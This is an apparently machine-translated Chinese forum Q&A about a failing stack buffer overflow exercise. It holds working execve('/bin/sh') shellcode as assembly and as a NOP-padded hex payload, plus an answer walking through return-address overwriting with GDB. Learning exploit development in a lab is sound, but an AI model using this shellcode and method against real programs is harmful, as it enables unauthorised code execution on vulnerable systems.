我有汇编代码来生成shell
global _start
section .text
_start:
xor eax, eax
push eax
push 0x68732f6e
push 0x69622f2f
mov ebx, esp
push eax
mov edx, esp
push ebx
mov ecx, esp
mov al, 11
int 0x80
xor ebx, ebx
mov bl, 1
int 0x80
当我执行它时,我有一个shell 我在有效载荷中对其进行了转换
0000000: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0000010: 9090 9090 31c0 5068 6e2f 7368 682f 2f62 ....1.Phn/shh//b
0000020: 6989 e350 89e2 5089 e253 89e1 b00b cd80 i..P..P..S......
0000030: 31db b301 cd80 9090 9090 9090 9090 9090 1...............
0000040: 9090 9090 9090 9090 c8cf ffff 90cf ffff ................
当我使用gdb
查看发生了什么时,我收到此消息:
process 22459 is executing new program: /bin/dash
[Inferior 1 (process 22459) exited normally]
但没有shell。如果我在我的可执行文件上尝试我的有效负载,我会得到一个
Illegal instruction (core dumped)
有关最新情况的任何帮助吗?
我使用--fno-stack-protector
编译了我的可执行文件,关闭了ASLR并堆叠了可执行文件。
答案 0 :(得分:0)
当您在受害者可执行文件上尝试时,如何将控制流转移到shellcode?
假设您将shellcode作为参数提供,那么您还必须计算以下内容:
找出返回地址位置的偏移量,从溢出缓冲区的起点开始计算。
找到未经检查的缓冲区的地址 - 局部变量。假设您有以下内容:
void vulnerable_function(char *buf)
{
char critical_buf[50]; <-- this will be overflown
...
strcpy(critical_buf,buf);
...
}
由于您的有效负载在将其复制到critical_buf局部变量中后将进入堆栈,因此您必须知道此局部变量的内存地址。
对于上面的情况,堆栈将如下所示:
Stack layout: <<< Growth direction
LOW_ADDR -------------------------------------------------------------------------- HIGH_ADDR
... | critical_buf .......................... | frame_pointer | ret_addr | *buf (param1) | ...
<---------------- 50 ---------------------> < offset from critical_buf?>
因此,您的有效负载将由shellcode和足够的字节组成,以便ret_addr被堆栈中的critical_buf局部变量的起始地址替换。这是“ABC”堆栈溢出攻击模型。
在这种情况下,有效负载将包含以下内容: 实际的shellcode + N字节+堆栈上的critical_buf的地址 因此,指令指针将指向您的shellcode,而不是返回正常流程,然后才会执行。
您可以使用NOP填充剩余字节,并将shellcode放置在更靠近返回地址的位置。 然后,您可以为更换的ret地址指向更大范围的地址。
在受害者身上使用GDB找出相关地址并从那里计算增量。